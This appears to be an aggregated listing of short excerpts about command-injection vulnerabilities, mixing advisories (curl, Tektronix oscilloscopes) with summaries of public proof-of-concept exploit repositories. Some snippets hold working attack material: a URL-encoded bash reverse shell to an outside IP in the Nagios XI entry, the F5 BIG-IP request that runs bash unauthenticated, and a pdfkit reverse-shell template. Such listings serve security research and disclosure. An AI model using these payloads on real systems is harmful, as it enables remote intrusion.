Updated curl package fixes security vulnerabilities

curl 8.23.0 has been released. It fixes 24 CVEs since 8.22.0, listed at https://curl.se/docs/security.html Not all of theses CVEs affect Mageia. Of the ones fixed in 8.23.0, these are the ones that do: CVE-2026-86410: redirect to SFTP or SCP bypasses host verification CVE-2026-86412: server-set...

EUVD-2026-103206

An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with...

CVE-2026-111853

Tektronix 3 Series MDO devices running firmware versions before 1.21.1 are susceptible to an OS command injection vulnerability. The flaw resides in the FILESystem:MOUNT:DRIve SCPI command handler , where insufficient neutralization of user-supplied input allows remote attackers to execute arbitr...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances Blog Post Root cause and indicators of compromise here:...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modify bold values: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2017-18044-Exploit

CVE-2017-18044 Native POC This is a dead simple POC for the CVE-2017-18044 command injection vulnerability in Commvault v11 SP5 and older. For metasploit users, a ruby version of the exploit is also bundled with the lastest build...

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' command injection bug Root cause The URI handlers help://, ghelp://, and man:// are defined in the file /usr/share/applications/yelp.desktop which will execute /usr/local/bin/yelp via Exec=yelp %u whenever one of those URI handlers is invoked. The file...

CVE-2025-64155-hunter

CVE-2025-64155 Scanner A Python scanner for detecting the command injection vulnerability CVE-2025-64155 in Phoenix Monitor service. Description CVE-2025-64155 is a command injection vulnerability in Phoenix Monitor service that allows remote code execution through the clusterurl parameter in the...

CVE-2026-65643-PoC-Toolkit

CVE‑2026‑65643 – cPanel Domain Parking RCE Toolkit ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer Misuse Act U...

CVE-2022-36267-PoC

CVE-2022-36267 - Airspan AirSpot 5410 Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36267, a critical vulnerability in Airspan AirSpot 5410 devices. The script is a practical demonstration,...

pyt

.. image:: https://travis-ci.org/python-security/pyt.svg?branch=master :target: https://travis-ci.org/python-security/pyt .. image:: https://readthedocs.org/projects/pyt/badge/?version=latest :target: http://pyt.readthedocs.io/en/latest/?badge=latest .. image::...

CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2023-45878-POC

CVE-2023-45878-POC CVE-2023-45878 poc for gibbon LMS on xampp windows. Upload a webshell called shell.php for command injection. For reverse shell uploads a powershell reverse shell ps1 script called shell.ps1 which is uploaded to the target machine using the shell.php. Requirments Python3 Reques...

wshlient

Wshlient Web Shell Client Description & Demo Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

exploit-CVE-2022-25765

Exploit for CVE-2022-25765 pdfkit - Command Injection Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM Unauthenticated Command Injection Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances Blog Post Root cause and indicators of compromise here:...

CVE-2018-1000533

GitList 0.6.0 Remote Code Execution Vulnerability CVE-2018-1000533 GitList is a modern Git repository viewer. In GitList versions 0.6.0 and below, there is a vulnerability that passes improperly validated input to system functions, allowing arbitrary commands to be executed with PHP user...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl Panel RCE Exploit HTB Season 10 - Pterodactyl Machine Writeup Overview Target: Pterodactyl HTB Machine Medium Difficulty CVE: CVE-2025-49132 Severity: Critical CVSS 9.8 Attack Type: Unauthenticated Remote Code Execution Affected: Pterodactyl Panel v1.11.11 This exploi...

CVE-2026-63766_exploit

CVE-2026-63766 — GPT-SoVITS Unauthenticated OS Command Injection Unauthenticated remote code execution in GPT-SoVITS's Gradio web UI webui.py. The audio-processing helpers openasr, openslice, opendenoise, openuvr5 interpolate unsanitised Gradio textbox path values straight into shell commands run...